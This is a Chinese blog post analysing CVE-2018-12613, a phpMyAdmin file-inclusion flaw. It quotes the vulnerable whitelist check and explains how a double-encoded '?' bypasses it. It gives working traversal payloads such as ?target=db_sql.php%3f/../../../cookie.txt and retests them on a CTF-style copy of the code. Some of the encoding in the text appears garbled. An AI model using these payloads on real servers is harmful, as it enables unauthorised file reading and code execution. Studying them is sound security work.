复现 CVE-2018-12613 的一些思考, 关于文件包含路径的问题
漏洞
/index.PHP 第 55 行
- $target_blacklist = array (
- 'import.php', 'export.php'
- );
- if (! empty($_REQUEST['target'])
- && is_string($_REQUEST['target'])
- && ! preg_match('/^index/', $_REQUEST['target'])
- && ! in_array($_REQUEST['target'], $target_blacklist)
- && Core::checkPageValidity($_REQUEST['target'])
- ) {
- include $_REQUEST['target'];
- exit;
- }
传入参数 target 需要满足
不以 index.PHP 开头
不在 target_blacklist 中
通过 checkPageValidity() 函数检验
checkPageValidity() 函数
- public static function checkPageValidity(&$page, array $whitelist = [])
- {
- if (empty($whitelist)) {
- $whitelist = self::$goto_whitelist;
- }
- if (! isset($page) || !is_string($page)) {
- return false;
- }
- if (in_array($page, $whitelist)) {
- return true;
- }
- $_page = mb_substr(
- $page,
- 0,
- mb_strpos($page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
- $_page = urldecode($page);
- $_page = mb_substr(
- $_page,
- 0,
- mb_strpos($_page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
- return false;
- }
第一个返回 True 的地方, 直接将 page 与 whitelist 比较, 传入的必须是白名单里的文件名, 无法绕过
- if (in_array($page, $whitelist)) {
- return true;
- }
第二个返回 True 的地方, mb_strpos($x, $y) 函数查找 $y 在 $x 中首次出现的位置. mb_substr($str, $start, $length) 函数从 $str 中, 截取从 $start 位置开始, 长度为 $length 的字符串.
但是在这里如果直接构造 payload : ?target=db_sql.PHP?/../../../cookie.txt 并不能跨路径包含,? 后面的字符串会被当做传入 db_sql.PHP 的参数, 这就要利用后面的 urldecode 了
- $_page = mb_substr(
- $page,
- 0,
- mb_strpos($page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
第三个返回 True 的地方, 可以利用双重编码绕过, 将 ? 经过两次编码 %3f 就可以绕过白名单验证.%3f 传入时, 首先会被自动解码一次, 变成 ?, 然后 urldecode() 再解码一次, 就变成了 ?
此时的 payload : ?target=db_sql.PHP%3f/../../../cookie.txt
- $_page = urldecode($page);
- $_page = mb_substr(
- $_page,
- 0,
- mb_strpos($_page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
问题
include 'db_sql.php%3f/../../../cookie.txt' 为什么只会包含 cookie.txt 而不会包含 db_sql.PHP
传入 db_sql.PHP%3f/../../../cookie.txt 为什么会在 in_array($_page, $whitelist) 处返回 True
如图, z.PHP 中 include 两个 ../ 可以包含, y.PHP 中一个 include 也可以包含
在 PHP 的 include 中, include 'hint.php?/../cookie.txt'; 会报错, include 'hint.php?/../cookie.txt'; 不会报错, 且可以成功包含
一些解释
在 include 中, 举个例子, 假设 x.PHP 代码包含 include '1source.phps/../cookie.txt'; , 假设 1source.phps 不存在, 那么这个文件包含等同于 : 在 1source.phps 文件夹目录下的上一级中的 cookie.txt , 也就是和 x.PHP 在同一目录下的 cookie.txt , 如果 1source.phps 存在, 并且它是一个文件, 那么肯定会报错, 如果它是一个文件夹, 也会成功包含 cookie.txt . 如果变为 include '1source.phps/./cookie.txt'; , 道理和上面相同
重新思考
代码如下 :
- <?PHP
- highlight_file(__FILE__);
- class emmm
- {
- public static function checkFile(&$page)
- {
- $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
- if (! isset($page) || !is_string($page)) {
- echo "you can't see it";
- return false;
- }
- if (in_array($page, $whitelist)) {
- return true;
- }
- $_page = mb_substr(
- $page,
- 0,
- mb_strpos($page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
- $_page = urldecode($page);
- $_page = mb_substr(
- $_page,
- 0,
- mb_strpos($_page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
- echo "you can't see it";
- return false;
- }
- }
- if (! empty($_REQUEST['file'])
- && is_string($_REQUEST['file'])
- && emmm::checkFile($_REQUEST['file'])
- ) {
- include $_REQUEST['file'];
- exit;
- } else {
- echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\"/>";
- }
- ?>
传入 file=hint.PHP , 在第一个 in_array 处会返回 true, 然后直接包含 hint.PHP
传入
file=hint.PHP?/../cookie.txt
, 在第二个 in_array 处会返回 true, 第二个 in_array 中的 _page 为 hint.PHP , 然后包含
hint.PHP?/../cookie.txt
, 但是这里的 ? 起到传递参数的作用而不是破坏路径
传入
file=hint.PHP%3f/../cookie.txt
, 在第三个 in_array 处会返回 true , 第三个 in_array 中的 _page 为 hint.PHP , 然后包含
hint.PHP?/../cookie.txt
, 这里的 ? 即 ? , 破坏了路径, 前面部分的路径不存在, 可以包含后面的文件
来源: http://www.bubuko.com/infodetail-3193636.html